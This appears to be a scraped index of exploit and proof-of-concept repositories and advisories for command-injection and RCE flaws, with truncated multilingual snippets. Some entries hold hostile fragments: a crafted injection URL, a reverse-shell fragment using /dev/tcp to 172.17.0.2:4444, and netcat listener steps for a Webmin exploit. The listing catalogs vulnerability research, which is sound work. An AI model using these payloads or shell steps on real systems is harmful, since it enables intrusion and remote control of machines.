CVE-2019-0232

CVE-2019-0232 Apache Tomcat CGIServlet enableCmdLineArguments RCE حقن سكريبت ويندوز الدفعي عبر وسائط سلسلة الاستعلام الوصف عند تمكين CGI servlet في Apache Tomcat مع enableCmdLineArguments=true، يتم تمرير معاملات سلسلة الاستعلام كوسائط سطر أوامر إلى سكريبتات CGI. على نظام ويندوز، تقوم الملفات...

CVE-2024-10914-Exploit

CVE-2024-10914-استغلال CVE-2024-10914 هي ثغرة أمنية حرجة تؤثر على أجهزة D-Link DNS-320، DNS-320LW، DNS-325، وDNS-340L حتى الإصدار 20241028. الوظيفة cgiuseradd في الملف /cgi-bin/accountmgr.cgi?cmd=cgiuseradd هي المسؤولة، مما يسمح للمهاجمين بحقن أوامر نظام التشغيل عن بُعد. استخدام السكريبت:...

CVE-2022-23935

CVE-2022-23935 Le programme logiciel Exiftool, dans les versions antérieures à 12.38, présente une vulnérabilité de sécurité qui peut être exploitée via un nom de fichier spécialement conçu. Cette vulnérabilité permet une injection de commandes, où un attaquant peut exécuter des commandes...

Vulnerability-Research

🛡️ Recherche de vulnérabilités Ici, je catalogue les vulnérabilités que j'ai découvertes, les rapports correspondants contenant les détails des faiblesses, ainsi que des informations sur leur impact et leur remédiation. 🏆 CVE assignés ID CVE| Titre de la vulnérabilité| Sévérité/CVSS| Publication|...

CVE-2026-4480-POC

CVE-2026-4480 - تنفيذ تعليمات برمجية عن بُعد في نظام الطباعة الفرعي لـ Samba نظرة عامة مواد إثبات المفهوم والبحث المتعلقة بـ CVE-2026-4480 ، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد RCE تؤثر على نظام الطباعة الفرعي في Samba. تنتج الثغرة عن المعالجة غير السليمة لأوصاف مهام الطباعة التي يتحك...

CVE-2020-14883

http://myq-x.remore:8090/index.php?m=WebServiceMgmt::invoke&p="d":"\\m\":"Wsf\\\\Win\\\\Firewall::delete\","\\p\":"----\\\"|ipconfig+/allC:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\1.txt||----","\\id\":"1","\\pwd\":"","s":"b75c29ef4a5a3d600d96732b3c5cbed1"...

CVE-2024-56115

CVE-2024-56115 Description suggérée Une vulnérabilité dans Amiro.CMS avant la version 7.8.4 existe en raison de l'absence de mesures pour neutraliser les éléments spéciaux. Elle permet à des attaquants distants de mener une attaque de type Cross-Site Scripting XSS. Type de vulnérabilité CWE-78 |...

CVE-2026-40176-poc

CVE-2026-40176: Composer Perforce OS कमांड इंजेक्शन PoC English version सारांश यह रिपॉजिटरी Composer के Perforce VCS ड्राइवर में मौजूद एक गंभीर OS कमांड इंजेक्शन भेद्यता CVE-2026-40176 का Proof of Concept PoC है। यह भेद्यता Composer 2.2.27 और 2.9.6 से पहले के संस्करणों को प्रभावित करती है। भेद्यत...

CVE-2026-2256-Threat-Model----ms-agent-Command-Injection

CVE-2026-2256-نموذج-التهديد----ms-agent-حقن-الأوامر...

watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604

watchTowr-vs-Dell-UnityVSA-CVE-2025-36604 مولّد كاشفات الكشف لـ Dell UnityVSA CVE-2025-36604 https://github.com/user-attachments/assets/28488a97-7845-4b78-9fe7-64b9172ab023 راجع مقالنا للتفاصيل الفنية الكشف أثناء التنفيذ python watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604.py --target...

Atlassian-Bitbucket-CVE-2022-36804

Atlassian-Bitbucket-Server-CVE-2022-36804 تم اكتشاف ثغرة أمنية خطيرة لحقن الأوامر في عدة نقاط نهاية API لخادم Bitbucket من Atlassian ومركز البيانات. تؤثر هذه الثغرة على جميع إصدارات Bitbucket Server و Data Center التي تم إصدارها قبل الإصدارات & /dev/tcp/172.17.0.2/4444 0&1" بدء مستمع netcat...

K000163537: Vim vulnerability CVE-2026-73073

Security Advisory Description Vim is an open source, command line text editor. Prior to 9.2.0845, StructMembers in runtime/autoload/ccomplete.vim constructs and executes a vimgrep command using an insufficiently escaped typeref: or typename: value from a tags file, allowing an unterminated...

Termix-research

أبحاث أمنية حول Termix بحث في الثغرات على Termix، وهي منصة إدارة خوادم وSSH قائمة على الويب أكثر من 13 ألف نجمة. CVE| الوصف| الخطورة| أُصلحت في| النشرة الأمنية ---|---|---|---|--- CVE-2026-45746| اختطاف الجلسة → RCE| 9.0 حرجة| v2.3.2| GHSA-cx2r-843c-vww8 CVE-2026-45750| حقن أوامر النظام| 9.0 حرجة...

CVE-2022-31499

CVE-2022-31499 عنوان الاستغلال: Nortek Linear eMerge E3-Series - حقن أوامر نظام التشغيل الأعمى...

Cacti <=1.2.22 - Remote Command Injection

Cacti through 1.2.22 is susceptible to remote command injection. There is insufficient authorization within the remote agent when handling HTTP requests with a custom Forwarded-For HTTP header. An attacker can send a specially crafted HTTP request to the affected instance and execute arbitrary OS...

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Webmin =1.920 में एक समस्या पाई गई। passwordchange.cgi में "old" और "expire" पैरामीटर में कमांड इंजेक्शन कमजोरी है। उपयोग 1. लाल बॉक्स पर एक लिसनर शुरू करें। rlwrap -cAr nc -lvp 1919 2. एक्सप्लॉइट चलाएँ ./exploit.sh 3. तर्क मांगे जाएंग...

CVE-2022-46169_poc

CVE-2022-46169 تنفيذ عن بُعد للتعليمات البرمجية بدون مصادقة الوصف تجاوز المصادقة: التحقق من التفويض بناءً على اسم المضيف لا يتم تنفيذه بأمان في معظم تثبيتات Cacti حقن الأوامر: يتم تمرير إدخال المستخدم غير المنقى إلى سلسلة تستخدم لتنفيذ أمر خارجي عرض توضيحي إثبات المفهوم التثبيت باستخدام go instal...

glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router

إثبات مفهوم PoC لثلاث ثغرات RCE في GL.iNet Beryl AX إثبات مفهوم لثلاث ثغرات حقن أوامر غير مصادَق عليها CVE-2026-11450, CVE-2026-11451, CVE-2026-11452 في البرنامج الثابت لراوتر السفر GL.iNet GL-MT3000 Beryl AX حتى الإصدار 4.4.5. الشرح الكامل:...

CVE-2026-46368-OpenWrt-Exploit

OpenWrt luci-app-https-dns-proxy ثغرة حقن الأوامر المُوثَّقة CVE-2026-46368 يحتوي هذا المستودع على كود إثبات المفهوم PoC لاستغلال ثغرة حرجة في حقن أوامر نظام التشغيل في luci-app-https-dns-proxy تؤدي إلى تنفيذ أوامر عشوائية بصلاحيات الجذر. CVE ID: CVE-2026-46368 Exploit-DB: EDB-52521 CVSS: 8.8 v3....